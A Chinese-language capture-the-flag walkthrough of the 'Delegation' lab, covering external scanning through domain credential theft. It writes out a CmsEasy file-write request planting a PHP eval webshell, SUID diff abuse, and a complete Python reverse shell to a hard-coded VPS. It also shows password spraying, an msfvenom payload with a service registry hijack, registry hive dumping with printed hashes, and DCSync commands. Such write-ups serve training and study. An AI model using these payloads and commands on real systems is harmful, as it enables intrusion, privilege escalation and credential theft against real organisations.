Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。


外网打点

fscan扫描

fscan.exe -h 39.99.151.203

E:\渗透工具\漏扫\fxray-main\fxray-main\fscan>fscan.exe -h 39.99.151.203

        ██╗  ██╗     ███████╗██╗  ██╗██████╗
        ╚██╗██╔╝     ██╔════╝╚██╗██╔╝██╔══██╗
         ╚███╔╝█████╗█████╗   ╚███╔╝ ██████╔╝
         ██╔██╗╚════╝██╔══╝   ██╔██╗ ██╔═══╝
        ██╔╝ ██╗     ███████╗██╔╝ ██╗██║
        ╚═╝  ╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝
                     xk version: 1.8.3
start infoscan
39.99.151.203:82 open
39.99.151.203:9089 open
39.99.151.203:9986 open
39.99.151.203:8983 open
39.99.151.203:9088 open
39.99.151.203:86 open
39.99.151.203:8060 open
39.99.151.203:10010 open
39.99.151.203:84 open
39.99.151.203:7008 open
39.99.151.203:8180 open
39.99.151.203:20720 open
39.99.151.203:135 open
39.99.151.203:22 open
39.99.151.203:8858 open
39.99.151.203:8181 open
39.99.151.203:9095 open
39.99.151.203:8084 open
39.99.151.203:8083 open
39.99.151.203:20000 open
39.99.151.203:9060 open
39.99.151.203:7071 open
39.99.151.203:89 open
39.99.151.203:9080 open
39.99.151.203:8094 open
39.99.151.203:1433 open
39.99.151.203:8048 open
39.99.151.203:21 open
39.99.151.203:9043 open
39.99.151.203:10001 open
39.99.151.203:7074 open
39.99.151.203:18082 open
39.99.151.203:21000 open
39.99.151.203:18080 open
39.99.151.203:7078 open
39.99.151.203:10000 open
39.99.151.203:10250 open
39.99.151.203:92 open
39.99.151.203:98 open
39.99.151.203:8080 open
39.99.151.203:21501 open
39.99.151.203:8097 open
39.99.151.203:8100 open
39.99.151.203:8099 open
39.99.151.203:800 open
39.99.151.203:8081 open
39.99.151.203:7687 open
39.99.151.203:8222 open
39.99.151.203:9981 open
39.99.151.203:18098 open
39.99.151.203:9090 open
39.99.151.203:9002 open
39.99.151.203:5432 open
39.99.151.203:85 open
39.99.151.203:8028 open
39.99.151.203:9097 open
39.99.151.203:9099 open
39.99.151.203:18002 open
39.99.151.203:11211 open
39.99.151.203:9998 open
39.99.151.203:9008 open
39.99.151.203:7890 open
39.99.151.203:9096 open
39.99.151.203:87 open
39.99.151.203:88 open
39.99.151.203:8880 open
39.99.151.203:8016 open
39.99.151.203:8989 open
39.99.151.203:8010 open
39.99.151.203:8038 open
39.99.151.203:18000 open
39.99.151.203:9999 open
39.99.151.203:18008 open
39.99.151.203:8899 open
39.99.151.203:9091 open
39.99.151.203:7777 open
39.99.151.203:19001 open
39.99.151.203:8172 open
39.99.151.203:8042 open
39.99.151.203:8101 open
39.99.151.203:9010 open
39.99.151.203:7007 open
39.99.151.203:8012 open
39.99.151.203:18088 open
39.99.151.203:8200 open
39.99.151.203:8018 open
39.99.151.203:8002 open
39.99.151.203:8030 open
39.99.151.203:8888 open
39.99.151.203:8046 open
39.99.151.203:81 open
39.99.151.203:7688 open
39.99.151.203:9001 open
39.99.151.203:8011 open
39.99.151.203:9988 open
39.99.151.203:8848 open
39.99.151.203:8161 open
39.99.151.203:8881 open
39.99.151.203:8093 open
39.99.151.203:18004 open
39.99.151.203:9094 open
39.99.151.203:10008 open
39.99.151.203:8044 open
39.99.151.203:9100 open
39.99.151.203:8096 open
39.99.151.203:18090 open
39.99.151.203:8001 open
39.99.151.203:9093 open
39.99.151.203:9086 open
39.99.151.203:18001 open
39.99.151.203:83 open
39.99.151.203:9092 open
39.99.151.203:9087 open
39.99.151.203:6379 open
39.99.151.203:9098 open
39.99.151.203:8009 open
39.99.151.203:3306 open
39.99.151.203:91 open
39.99.151.203:10004 open
39.99.151.203:888 open
39.99.151.203:7005 open
39.99.151.203:7004 open
39.99.151.203:1010 open
39.99.151.203:7070 open
39.99.151.203:889 open
39.99.151.203:8090 open
39.99.151.203:1080 open
39.99.151.203:9085 open
39.99.151.203:8098 open
39.99.151.203:8004 open
39.99.151.203:8053 open
39.99.151.203:8086 open
39.99.151.203:8108 open
39.99.151.203:8091 open
39.99.151.203:8088 open
39.99.151.203:9083 open
39.99.151.203:27017 open
39.99.151.203:7001 open
39.99.151.203:9443 open
39.99.151.203:20880 open
39.99.151.203:8868 open
39.99.151.203:9200 open
39.99.151.203:801 open
39.99.151.203:8069 open
39.99.151.203:7000 open
39.99.151.203:8288 open
39.99.151.203:6868 open
39.99.151.203:2100 open
39.99.151.203:2020 open
39.99.151.203:8443 open
39.99.151.203:2008 open
39.99.151.203:3128 open
39.99.151.203:8000 open
39.99.151.203:1081 open
39.99.151.203:8006 open
39.99.151.203:9448 open
39.99.151.203:8089 open
39.99.151.203:9000 open
39.99.151.203:8070 open
39.99.151.203:808 open
39.99.151.203:7003 open
39.99.151.203:1000 open
39.99.151.203:14000 open
39.99.151.203:8082 open
39.99.151.203:2375 open
39.99.151.203:16080 open
39.99.151.203:99 open
39.99.151.203:8118 open
39.99.151.203:9800 open
39.99.151.203:8087 open
39.99.151.203:8020 open
39.99.151.203:8092 open
39.99.151.203:8879 open
39.99.151.203:90 open
39.99.151.203:445 open
39.99.151.203:8085 open
39.99.151.203:8095 open
39.99.151.203:8008 open
39.99.151.203:1118 open
39.99.151.203:1099 open
39.99.151.203:1082 open
39.99.151.203:9084 open
39.99.151.203:880 open
39.99.151.203:443 open
39.99.151.203:8258 open
39.99.151.203:8244 open
39.99.151.203:1888 open
39.99.151.203:2379 open
39.99.151.203:7200 open
39.99.151.203:8280 open
39.99.151.203:3000 open
39.99.151.203:3008 open
39.99.151.203:6648 open
39.99.151.203:8360 open
39.99.151.203:6080 open
39.99.151.203:5555 open
39.99.151.203:8300 open
39.99.151.203:3505 open
39.99.151.203:8838 open
39.99.151.203:8834 open
39.99.151.203:139 open
39.99.151.203:8800 open
39.99.151.203:7002 open
39.99.151.203:8484 open
39.99.151.203:80 open
39.99.151.203:1521 open
39.99.151.203:8448 open
39.99.151.203:8003 open
39.99.151.203:7680 open
39.99.151.203:12443 open
39.99.151.203:9082 open
39.99.151.203:9081 open
39.99.151.203:28018 open
39.99.151.203:7088 open
39.99.151.203:12018 open
39.99.151.203:7080 open
39.99.151.203:21502 open
39.99.151.203:10002 open
[*] alive ports len is: 218
start vulscan
[*] WebTitle http://39.99.151.203      code:200 len:68108  title:中文网页标题
已完成 218/219 [-] ftp 39.99.151.203:21 ftp ftp123 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 ftp 123qwe 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 ftp Aa12345 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 admin admin123 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 admin admin_123 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 admin 123qwe 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 admin Aa12345 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 www root 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 www www#123 530 Login incorrect.
已完成 218/219 [-] ftp 39.99.151.203:21 www 123qwe 530 Login incorrect.
已完成 219/219
[*] 扫描结束,耗时: 10m50.4960082s

目录扫描

└─# dirsearch --url http://39.99.151.203/                                   
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_39.99.151.203/__25-08-29_13-54-36.txt

Target: http://39.99.151.203/

[13:54:36] Starting: 
[13:54:39] 301 -  313B  - /html  ->  http://39.99.151.203/html/             
[13:54:40] 403 -  278B  - /.ht_wsr.txt                                      
[13:54:41] 403 -  278B  - /.htaccess.bak1                                   
[13:54:41] 403 -  278B  - /.htaccess.save                                   
[13:54:41] 403 -  278B  - /.htaccess.sample                                 
[13:54:41] 403 -  278B  - /.htaccess.orig
[13:54:41] 403 -  278B  - /.htaccess_extra                                  
[13:54:41] 403 -  278B  - /.htaccess_orig                                   
[13:54:41] 403 -  278B  - /.htaccess_sc
[13:54:41] 403 -  278B  - /.htaccessOLD
[13:54:41] 403 -  278B  - /.htaccessBAK                                     
[13:54:41] 403 -  278B  - /.htaccessOLD2                                    
[13:54:41] 403 -  278B  - /.html
[13:54:41] 403 -  278B  - /.htm
[13:54:41] 403 -  278B  - /.httr-oauth                                      
[13:54:41] 403 -  278B  - /.htpasswd_test                                   
[13:54:41] 403 -  278B  - /.htpasswds
[13:54:42] 403 -  278B  - /.php                                             
[13:54:45] 200 -  358B  - /404.php                                          
[13:54:48] 301 -  314B  - /admin  ->  http://39.99.151.203/admin/           
[13:54:48] 200 -   64B  - /admin/                                           
[13:54:49] 200 -   64B  - /admin/index.php                                  
[13:54:55] 301 -  312B  - /api  ->  http://39.99.151.203/api/               
[13:54:55] 200 -  492B  - /api/                                             
[13:54:56] 301 -  313B  - /apps  ->  http://39.99.151.203/apps/             
[13:54:56] 200 -  405B  - /apps/                                            
[13:54:58] 200 -  514B  - /cache/                                           
[13:54:58] 301 -  314B  - /cache  ->  http://39.99.151.203/cache/
[13:55:00] 301 -  315B  - /common  ->  http://39.99.151.203/common/         
[13:55:00] 200 -    0B  - /command.php                                      
[13:55:00] 200 -  501B  - /common/
[13:55:00] 301 -  315B  - /config  ->  http://39.99.151.203/config/         
[13:55:01] 200 -  674B  - /config/                                          
[13:55:02] 301 -  313B  - /data  ->  http://39.99.151.203/data/             
[13:55:02] 200 -  788B  - /data/                                            
[13:55:04] 301 -  311B  - /en  ->  http://39.99.151.203/en/                 
[13:55:05] 200 -    4KB - /favicon.ico                                                                                                                      
[13:55:07] 200 -  445B  - /html/                                                                                                                            
[13:55:08] 301 -  315B  - /images  ->  http://39.99.151.203/images/                                                                                         
[13:55:08] 200 -  808B  - /images/                                                                                                                          
[13:55:10] 301 -  313B  - /lang  ->  http://39.99.151.203/lang/                                                                                             
[13:55:10] 301 -  312B  - /lib  ->  http://39.99.151.203/lib/                                                                                               
[13:55:10] 200 -  506B  - /lib/                                                                                                                             
[13:55:10] 301 -  316B  - /license  ->  http://39.99.151.203/license/       
[13:55:19] 301 -  315B  - /readme  ->  http://39.99.151.203/readme/         
[13:55:20] 200 -  125B  - /robots.txt                                       
[13:55:21] 403 -  278B  - /server-status/                                   
[13:55:21] 403 -  278B  - /server-status
[13:55:23] 301 -  316B  - /sitemap  ->  http://39.99.151.203/sitemap/       
[13:55:25] 301 -  317B  - /template  ->  http://39.99.151.203/template/     
[13:55:25] 200 -  496B  - /template/                                        
                                                                             
Task Completed                                                                                                                                              
                   

如上所示访问

CmsEasy 存在SQL注入漏洞

存在漏洞的文件为 lib/default/crossall_act.php

直接打POC

f

后台账号密码泄露

{"userid":"1","username":"admin","password":"e10adc3949ba59abbe56e057f20f883e","nickname":"\u7ba1\u7406\u5458","groupid":"2","checked":"1","qqlogin":"","alipaylogin":"","wechatlogin":"","avatar":"","userip":"","state":"0","qq":"1111","e_mail":"admin@admin.com","address":"admin","tel":"admin","question":"","answer":"","intro":"","point":"0","introducer":"0","regtime":"0","sex":"","isblock":"0","isdelete":"0","headimage":"\/html\/upload\/images\/201907\/15625455867367.png","integration":"0","couponidnum":"17:0:1","collect":"2,4,3,46,14,73","menoy":"100.07","adddatetime":"2021-09-01 00:00:00","notifiid":"","templatelang":"cn","adminlang":"cn","buyarchive":"","adminlangdomain":"","templatelangdomain":"","expired_time":"0"}

访问路径/admin

z

CmsEasy存在后台文件写入

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host:39.98.125.87
Content-Length: 76
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=qrqmi2nksq9l5qatj65c1i69c3; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313
Connection: close

sid=#data_d_.._d_.._d_.._d_shell.php&slen=693&scontent=<?php @eval($_POST[1]);?>

蚁剑连接

http://39.98.125.87/shell.php

diff提权

find / -user root -perm -4000 -print 2>/dev/null
#  查找提权文件

用法:diff [选项]... 文件
逐行比较文件。
长选项需要的参数,在对应的短选项中同样必需。

      --normal                  输出普通 diff(默认)
  -q, --brief                   只在文件不同时报出
  -s, --report-identical-files  在两个文件相同时也报告
  -c, -C NUM, --context[=NUM]   输出 NUM 行(默认 3)的上下文格式
  -u, -U NUM, --unified[=NUM]   输出 NUM 行(默认 3)的统一格式(unified)
  -e, --ed                      输出可供 ed 使用的脚本
  -n, --rcs                     输出 RCS 格式的 diff
  -y, --side-by-side            两栏并排输出
  -W, --width=NUM               输出最多 NUM(默认 130)列
      --left-column             只输出左栏中的公共行
      --suppress-common-lines   不输出公共行
  -p, --show-c-function         显示每处改动所在的 C 函数名
  -F, --show-function-line=RE   显示最近一次匹配 RE 的函数行
      --label LABEL             使用 LABEL 代替文件名和时间戳(可重复)
  -t, --expand-tabs             将制表符在输出中展开为空格
  -T, --initial-tab             通过在行首添加一个制表符使制表位对齐
      --tabsize=NUM             每 NUM(默认 8)列一个制表位
      --suppress-blank-empty    在空输出行前抑制空格或制表符
  -l, --paginate                将输出交由 'pr' 分页
  -r, --recursive                 递归比较发现的子目录
      --no-dereference            不跟随符号链接
  -N, --new-file                  将缺失的文件视为空文件
      --unidirectional-new-file   仅将第一个缺失的文件视为空文件
      --ignore-file-name-case     比较文件名时忽略大小写
      --no-ignore-file-name-case  比较文件名时区分大小写
  -x, --exclude=PAT               排除匹配 PAT 的文件
  -X, --exclude-from=FILE         排除匹配 FILE 中任一模式的文件
  -S, --starting-file=FILE        比较目录时从 FILE 开始
      --from-file=FILE1           将 FILE1 与所有操作数比较;FILE1 可为目录
      --to-file=FILE2             将所有操作数与 FILE2 比较;FILE2 可为目录
  -i, --ignore-case               忽略内容中的大小写差异
  -E, --ignore-tab-expansion      忽略因制表符展开导致的变化
  -Z, --ignore-trailing-space     忽略行尾空白
  -b, --ignore-space-change       忽略空白数量的变化
  -w, --ignore-all-space          忽略所有空白
  -B, --ignore-blank-lines        忽略内容全为空白的行的变化
  -I, --ignore-matching-lines=RE  忽略所有行都匹配 RE 的变化
  -a, --text                      将所有文件视为文本
      --strip-trailing-cr         处理输入时剥离行尾回车(CR)
  -D, --ifdef=NAME                以“#ifdef NAME”样式输出合并文件
      --GTYPE-group-format=GFMT   使用 GFMT 格式化 GTYPE 输入分组
      --line-format=LFMT          使用 LFMT 格式化所有输入行
      --LTYPE-line-format=LFMT    使用 LFMT 格式化 LTYPE 类型的行
    这些格式化选项对 diff 的输出进行细粒度控制,是对 -D/--ifdef 的泛化。
    LTYPE 可为 'old'、'new' 或 'unchanged'。GTYPE 可为 LTYPE 或 'changed'。
    仅 GFMT 可包含:
      %<  来自 FILE1 的行
      %>  来自 FILE2 的行
      %=  FILE1 与 FILE2 共有的行
      %[-][WIDTH][.[PREC]]{doxX}LETTER  用于 LETTER 的 printf 风格说明
        LETTER 新分组用大写,旧分组用小写:
          F  首行行号
          L  末行行号
          N  行数 = L-F+1
          E  F-1
          M  L+1
      %(A=B?T:E)  若 A 等于 B 则为 T,否则为 E
    仅 LFMT 可包含:
      %L  行的内容
      %l  行的内容(不含行尾换行)
      %[-][WIDTH][.[PREC]]{doxX}n  输入行号的 printf 风格说明
    GFMT 与 LFMT 都可包含:
      %%  字符 %
      %c'C'      单个字符 C
      %c'\OOO'   八进制代码 OOO 对应的字符
      C          字符 C(其他字符按字面含义)

  -d, --minimal            尽量找到更小的一组改动
      --horizon-lines=NUM  在公共前缀和后缀保留 NUM 行
      --speed-large-files  假设文件很大且小改动分散,优化速度
      --color[=WHEN]       彩色输出;WHEN 可为 'never'、'always' 或默认 'auto'
      --palette=PALETTE    --color 激活时使用的颜色;PALETTE 是以冒号分隔的 terminfo 能力列表
      --help               显示此帮助并退出
  -v, --version            显示版本信息并退出

文件参数可以是 'FILE1 FILE2'、'DIR1 DIR2'、'DIR FILE' 或 'FILE DIR'。
若给出 --from-file 或 --to-file,对文件参数不再有限制。
若某个文件为 '-',则从标准输入读取。
退出状态:若输入相同为 0;不同为 1;出错为 2。

diff --line-format=%L /dev/null /home/flag/flag01.txt

内网横向

我们先弹个shell给我们的VPS吧

首先创建一个shell.py文件让后用python3执行文件

#!/usr/bin/env python3

import socket
import subprocess
import os
import pty

# 攻击者监听的 IP 和端口
LHOST = "45.136.15.12"
LPORT = 9999

# 创建 TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((LHOST, LPORT))

# 将 socket 的文件描述符重定向到标准输入、输出、错误
os.dup2(s.fileno(), 0)  # stdin
os.dup2(s.fileno(), 1)  # stdout
os.dup2(s.fileno(), 2)  # stderr

# 启动交互式 shell
pty.spawn("/bin/sh")

# 关闭 socket(可选)
s.close()

python3 -c 'import pty; pty.spawn("/bin/bash")'
# 做个持久化shell

远程文件下载和代理搭建

wget https://VPSIP/fscan
wget https://VPSIP/frpc
wget https://VPSIP/frpc.ini

查看一下IP

ifconfig

./fscan -h 172.22.4.36/24 
www-data@localhost:/var/www/html$ ./fscan -h 172.22.4.36/24 
./fscan -h 172.22.4.36/24 

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.4.45     is alive
(icmp) Target 172.22.4.7      is alive
(icmp) Target 172.22.4.36     is alive
(icmp) Target 172.22.4.19     is alive
[*] Icmp alive hosts len is: 4
172.22.4.7:88 open
172.22.4.45:80 open
172.22.4.36:80 open
172.22.4.36:22 open
172.22.4.36:21 open
172.22.4.36:3306 open
172.22.4.19:445 open
172.22.4.7:445 open
172.22.4.45:445 open
172.22.4.19:139 open
172.22.4.19:135 open
172.22.4.45:139 open
172.22.4.45:135 open
172.22.4.7:135 open
172.22.4.7:139 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo 
[*]172.22.4.45
   [->]WIN19
   [->]172.22.4.45
[*] NetInfo 
[*]172.22.4.19
   [->]FILESERVER
   [->]172.22.4.19
[*] NetInfo 
[*]172.22.4.7
   [->]DC01
   [->]172.22.4.7
[*] NetBios 172.22.4.45     XIAORANG\WIN19                
[*] NetBios 172.22.4.7      [+] DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.4.7   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.4.19     FILESERVER.xiaorang.lab             Windows Server 2016 Standard 14393
[*] WebTitle http://172.22.4.36        code:200 len:68100  title:中文网页标题
[*] WebTitle http://172.22.4.45        code:200 len:703    title:IIS Windows Server

我们记一下flag01的提示

WIN19\Adrian

搭建Stowaway

./linux_x64_admin -l 1234 -s 123
# 在自己的vps上启动一个admin

在刚打下的出网靶机上运行

./linux_x64_agent -c 45.136.15.12:1234 -s 123 --reconnect 8

然后

use 0
socks 5001

成功开启Stowaway代理

我们选用bp自带浏览器挂socks这样就不会影响本机了

我们理一下域关系

域关系梳理


1. 网络和主机拓扑(根据 fscan 输出)

IP

主机名 / NetBIOS

系统版本

开放端口

备注

172.22.4.7

DC01.xiaorang.lab(域控)

Windows Server 2016 Datacenter 14393

88, 445, 135, 139

端口 88(Kerberos) 表明它是域控制器(KDC)

172.22.4.19

FILESERVER.xiaorang.lab

Windows Server 2016 Standard 14393

445, 139, 135

文件服务器

172.22.4.45

WIN19

未显示具体版本(IIS Windows Server 页面)

80, 445, 139, 135

Web 服务器,可能是域内成员服务器

172.22.4.36

未显示主机名

未知

80, 22, 21, 3306

有 FTP/SSH/MySQL,可能是 Linux 或混合环境


2. 域关系推断

  • DC01.xiaorang.labxiaorang.lab 域的域控制器(有 Kerberos 端口 88、NetBIOS 信息明确标注 DC)。

  • FILESERVER.xiaorang.lab 可能是域成员服务器,用于文件共享。

  • WIN19 虽然输出中没直接显示是域成员,但 NetBios 172.22.4.45 XIAORANG\WIN19 说明它在域 XIAORANG(域 NetBIOS 名)。

  • 可能的关系:

    xiaorang.lab (AD 域)
    ├── DC01 (172.22.4.7) - 域控制器
    ├── FILESERVER (172.22.4.19) - 文件服务器
    ├── WIN19 (172.22.4.45) - Web 服务器
    └── 172.22.4.36 - 通外网 已拿下
    

3. “WIN19\Adrian” 的含义

  • 这个格式是 域用户或本地用户的登录名

  • WIN19\Adrian 表示:

    • 如果 WIN19 是本机名 → AdrianWIN19 本地账户(非域用户)。

    • 如果 WIN19 是加入域的计算机 → Adrian域 XIAORANG 中的用户,在该机器上有登录记录。

  • 这个提示可能来自 SMB 枚举、NetBIOS、或者漏洞扫描的用户枚举功能,说明该用户在该系统上存在(可能是管理员账户)。


4. 后续渗透方向建议

  1. 针对域控 DC01 (172.22.4.7)

    • Kerberos 枚举用户(kerbrute / GetNPUsers

    • SMB/LDAP 信息收集

  2. 针对 FILESERVER

    • SMB 共享匿名访问

    • 共享文件中可能有凭据

  3. 针对 WIN19

    • 尝试 WIN19\Adrian 用户的密码喷洒(SMB、RDP、WinRM)

    • IIS Web 漏洞利用

  4. 针对 172.22.4.36 (Linux?)

    • SSH 弱口令

    • MySQL 信息泄露


根据提示和主机名接下来就是爆破172.22.4.45 的密码了

爆破密码 (WIN19)

使用crackmapexec 喷洒密码

proxychains4 crackmapexec smb 172.22.4.45 -u Adrian -p /usr/share/wordlists/rockyou.txt -d WIN19

最后爆破出来是

win19\Adrian babygirl1
proxychains4 rdesktop 172.22.4.45 -u Adrian -p 'babygirl1' -r disk:share=/home/kali/Desktop/tmp
# 使用rdesktop尝试连接

然后修改密码

注册表提权

桌面上的html文件有写道用户可以修改注册表

使用msfvenom生成执行木马

msfvenom -p windows/x64/exec cmd='C:\windows\system32\cmd.exe /c C:\users\Adrian\Desktop\sam.bat ' --platform windows -f exe-service > shell.exe

然后传到window桌面上

然后写一个sam.bat,内容如下然后传到win机器上:

reg save hklm\system C:\Users\Adrian\Desktop\system
reg save hklm\sam C:\Users\Adrian\Desktop\sam
reg save hklm\security C:\Users\Adrian\Desktop\security

然后修改注册表

reg add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\Adrian\Desktop\shell.exe" /f

接着在cmd启动服务:

sc start gupdate

桌面会出现三个文件,我们传到kali用secretsdump解一下

secretsdump.py LOCAL -system system -sam sam -security security
─(root㉿kali-plus)-[/home/kali/Desktop/tmp]
└─# secretsdump.py LOCAL -system system -sam sam -security security

/root/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.13.0.dev0+20250721.105211.75610382 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x08092415ee8b9b2ad2f5f5060fb48339
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:b98cad8fcf3d13640d81c133bff0dcea:::
[*] Dumping cached domain logon information (domain/username:hash)
XIAORANG.LAB/Aldrich:$DCC2$10240#Aldrich#e4170181a8bb2a24e6113a9b4895307a: (2022-06-24 03:18:39+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:3c2358ec3b46d1d51f4d3d6bf3bdb4b7b40973421ed986746db195cf6fd20d3931a83e3339a53033d30e21fb303c95c056cd1b52fcd58a58e7eb82da24144406ba56ca2b8eabd1eff6a4d7b05fa9502a15492887d42cdca84b4d52d14c5f44ac92ecf8d95a6378b37bc8b99dbe7cdd057472beb7873e89535a0d90f75ea4406ae169c82ee06427093b48b41e2babc28a763c8637fbfde38c0d413f017fca4c1496cde3b8a941571217862a05cff1623eba1f41d2f71055a2e6f8c2da1551952d038904450fb862ebc61850994f7f3f66e90172755657a50aa2ff8523d0394ae3ab3c894d6d83c7cfd5b10fa90c4841d3
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f89eb200097a291dac01a0db5068816a
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x4af114bade59102b7c64e41cde94be2257337fab
dpapi_userkey:0x372392e560b616ecd27b6ec0fe138ef86790b565
[*] NL$KM 
 0000   56 4B 21 B3 87 A3 29 41  FD 91 8F 3A 2D 2B 86 CC   VK!...)A...:-+..
 0010   49 4A EE 48 6C CD 9C D7  C7 DA 65 B6 62 4D 35 BD   IJ.Hl.....e.bM5.
 0020   09 F7 59 68 23 69 DE BA  2D 47 84 47 29 AD 5D AE   ..Yh#i..-G.G).].
 0030   A0 5F 19 CA 21 13 E4 6D  01 27 C3 FC 0C C1 0F 2E   ._..!..m.'......
NL$KM:564b21b387a32941fd918f3a2d2b86cc494aee486ccd9cd7c7da65b6624d35bd09f759682369deba2d47844729ad5daea05f19ca2113e46d0127c3fc0cc10f2e
[*] Cleaning up... 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:f89eb200097a291dac01a0db5068816a

🔍 一、$MACHINE.ACC 是什么?

✅ 全称:Machine Account Password (计算机账户密码)

每台加入域的 Windows 主机在 Active Directory 中都有一个对应的 计算机账户(例如 WIN19$DESKTOP-ABC$),这个账户也有密码,而且是 自动维护的

  • 名称:$MACHINE.ACC 表示“本机的机器账户”

  • 实际对应 AD 中的账户:COMPUTERNAME$(比如 WIN19$

  • 密码每 30 天自动轮换一次

  • 密码的 NTLM 哈希存储在本地注册表中,可通过 secretsdump.pySAMSYSTEM 提取

所以:
$MACHINE.ACC 的哈希 = 这台机器在域中的身份凭据


🧩 二、哈希格式说明

aad3b435b51404eeaad3b435b51404ee:f89eb200097a291dac01a0db5068816a

↑______________________________↑ ↑______________________________↑

| |

LM Hash (无意义) NT Hash(关键!)

  • LM Hashaad3b... → 固定值,表示空或不可用

  • NT Hashf89eb200097a291dac01a0db5068816a真实有效的机器账户密码哈希

👉 这个 NT 哈希等价于你在域内使用 WIN19$ 账户进行认证的凭据。


💡 三、为什么 BloodHound 和 票据抓取 要用它?

场景 1️⃣:BloodHound 域信息收集(Pass-the-Hash)

当你使用 bloodhound-python 或其他工具收集域信息时,需要一个有权限的账户登录到域控。

  • 如果你拿到的是 普通用户哈希,权限可能不足

  • 但如果你拿到的是 机器账户哈希(如 $MACHINE.ACC,并且该机器有特殊权限(如被委托、在高权限组中),就可以用来:

    • 查询 LDAP

    • 获取 ACL、会话、组策略等敏感信息

    • 甚至触发 DCSync 攻击(如果权限足够)

📌 示例命令:

bash

1

bloodhound-python -u WIN19$ --hashes :f89eb200097a291dac01a0db5068816a -d xiaorang.lab -dc dc01.xiaorang.lab

只要 WIN19$ 有足够权限,就能成功收集。


场景 2️⃣:DCSync 攻击(模拟域控复制)

secretsdump.py 能执行 DCSync 的前提是:你使用的账户具有以下权限之一:

  • DS-Replication-Get-Changes

  • DS-Replication-Get-Changes-All

  • 通常是:

    • 域控自身账户

    • Administrator

    • 被手动赋予复制权限的账户

✅ 如果当前这台机器是 域控制器(DC),那么它的 $MACHINE.ACC 就天然拥有 DCSync 权限!

👉 所以你可以这样抓取整个域的哈希:

bash

1

secretsdump.py -hashes :f89eb200097a291dac01a0db5068816a WIN19$@dc01.xiaorang.lab

即使不是 DC,如果 WIN19$ 被错误地赋予了复制权限,也能成功。


场景 3️⃣:Pass-the-Hash / Relay 攻击触发点
  • 工具如 dfscoerce.pyprinterbug.py 等,可以强制目标机器连接你控制的服务器

  • 为了建立连接,你需要提供一个合法的身份(用户名 + 哈希)

  • 使用 $MACHINE.ACC 的哈希作为身份,可以:

    • 让攻击看起来更“合法”

    • 避免使用高权限用户暴露痕迹

    • 利用机器账户的网络访问权限


🛡️ 四、安全意义:为什么这个哈希很危险?

🔓 域身份伪装

拿到机器账户哈希 = 拿到该机器在域中的身份

🕵️‍♂️ 信息探测

可用于 BloodHound 收集拓扑、权限路径

💣 DCSync 攻击

若是 DC 或有复制权限,可导出所有用户哈希

🔄 哈希传递

可用于远程登录其他服务(如 WMI、SMB)

🧱 权限提升跳板

结合 ACL、委派等配置错误,实现提权


✅ 五、如何防御?

🔒 限制机器账户权限

避免将DCSync权限赋予普通主机

🧼 定期轮换

虽然自动轮换,但攻击者可在30天内使用

🚫 最小权限原则

不要让主机加入高权限组(如Account Operators

📊 监控异常登录

如机器账户从非域控发起 LDAP 复制请求

🔐 启用 LSA Protection

防止 Mimikatz 直接提取内存中的凭据


✅ 总结

$MACHINE.ACC是什么?

当前机器的域计算机账户密码哈希

